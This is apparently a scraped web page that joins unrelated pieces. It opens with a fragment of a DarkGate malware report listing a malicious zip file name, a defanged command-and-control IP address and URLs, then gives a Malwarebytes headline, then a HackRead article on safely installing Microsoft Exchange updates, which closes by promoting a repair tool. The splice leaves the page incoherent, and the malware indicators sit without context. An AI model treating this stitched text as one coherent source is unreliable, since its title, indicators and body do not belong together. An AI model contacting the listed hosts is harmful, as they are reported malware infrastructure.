Filename: C\_onfidential Sign\_ificant Company Changes.zip

Reported At: 09/13/2023 9:57:56 AM

**Network Indicators:**

C2 IP Address: 5\[.\]188\[.\]87\[.\]58

**Malicious URLs:**

http://5\[.\]188\[.\]87\[.\]58:2351

http://5\[.\]188\[.\]87\[.\]58:2351/msibtbgvbyy

Battling a new DarkGate malware campaign with Malwarebytes MDR 

By Owais Sultan
Installing Microsoft Exchange Updates can be a challenging task, as it may lead to various issues in the…
This is a post from HackRead.com Read the original post: How to Install Microsoft Exchange Updates with Reliability

Installing Microsoft Exchange Updates can be a challenging task, as it may lead to various issues in the process, such as compatibility problems, data loss, service disruptions, security vulnerabilities, update failures, dependency conflicts, or backup and recovery challenges.

There are several things that can go wrong when installing Cumulative Updates (CU) or Security Updates on your Exchange Server. You may encounter issues during and after installation or even the installation of updates may fail or stop.

The installation of updates could be hindered due to underlying issues with the operating system, damaged hardware, incorrect network configuration, conflict with third-party applications, corrupted updates, or human errors. In this article, we will be going through the things that you can do to prevent issues when installing updates and how to resolve issues (if occur) as fast as possible and with no data loss.

****Prerequisites before Installation****

To avoid any issues during updates installation, you need to first identify the currently installed version of the Cumulative Updates on your server. For this, you can use the Get-ExchangeServer command as given below.

Get-ExchangeServer | Format-List Name, Edition, AdminDisplayVersion

This will give information about the version of the Exchange Server installed, along with the build number. On the Exchange Server updates download page, you can check the version you are downloading and confirm the installation matrix compatibility. Sometimes, you need to hop to a specific version before installing the latest one.

Before downloading the updates, it’s important to double-check with your Exchange Server consultant or supplier that you are installing the right update.

****Read the release notes****

It’s important to read the notes to know about any known issues, restrictions, or other information which is crucial for installing your update. There might be possible solutions to known issues while installing the update in question. Although it might be an administrative burden, you must check the release notes before installing the updates.

****Installing the Updates****

You should not rush through any installation or confirmation. All things must be documented and audited. This will help in troubleshooting if something goes wrong. Such documents help find out where the problem is. If you would involve your supplier or Microsoft support, then this will help them to resolve the problem easily.

Cumulative Updates take time to install, depending on the performance of the server. Ideally, you should restore a copy of the server in a sandbox environment and install the updates to test it if you have a single Exchange Server. If you have a Database Availability Group (DAG), you should first install the updates on the passive server. After a week of testing and ensuring that nothing was broken, you can go ahead and install them on the live server. 

****Ensure Redundancy****

When installing updates or changing the configuration of your environment, you should always have a failover plan. If you have a single instance of the server, you might consider testing the daily backup and performing a restore test to ensure that you can roll back if something happens.

If you have a Database Availability Group (DAG) with two or more servers, you need to make sure that the failover process is functioning properly and that the replication of databases is healthy.

Although it might not always be possible, it is highly recommended to take a backup before installing the updates or making any changes.

****Contingency Plan****

There is always a contingency plan before proceeding with the installation. In case the installation fails, there should be a set of instructions that need to be followed to recover from such a situation, such as:

*   Who to inform
*   Who to engage
*   What is to be done
*   Data loss parameters

****What to do if something goes wrong during or after the update installation?****

As mentioned, there are a lot of things that could go wrong when installing Cumulative Updates (CU), Security Updates (SU), or making any other changes to your infrastructure. If power is lost during the installation, storage is full, or an antivirus scan is executed, then these things can put the database in a dirty shutdown state and possibly corrupt the database or transaction logs. The Exchange Server will not boot or the Exchange Server services will not start due to corrupt installation files. In such situations, you can do the following:

****1\. Restore the Server from Backup****

You can restore the server from backup. This will easily resolve the problem. However, if there were any changes during the installation, then these will be lost. 

****2\. Rebuild the Server and Recover the Data****

The other option is to rebuild the Exchange Server. As all the configuration of the Exchange Server is in the Active Directory Schema, installing the server with the recovery mode and keeping the same IP Address and computer name will help recover the services.

To recover the data from corrupted databases or transaction logs, you can take the help of a specialized Exchange server recovery tool, like Stellar Repair for Exchange. This tool can open any version of an EDB file and in any state. It allows you to granularly export the data from the EDB file directly to a live mailbox database on your rebuilt Exchange Server while ensuring no data loss. The application can also export the EDB data to PST and other file formats.

****Conclusion****

Ensure a smooth Exchange Server update process involves thorough preparation, documentation, testing, and having contingency plans in place. Adhering to the best practices outlined in this article will significantly help you to avoid issues and minimize the impact of any problems that may arise during or after Cumulative Updates (CU) or Security Updates.

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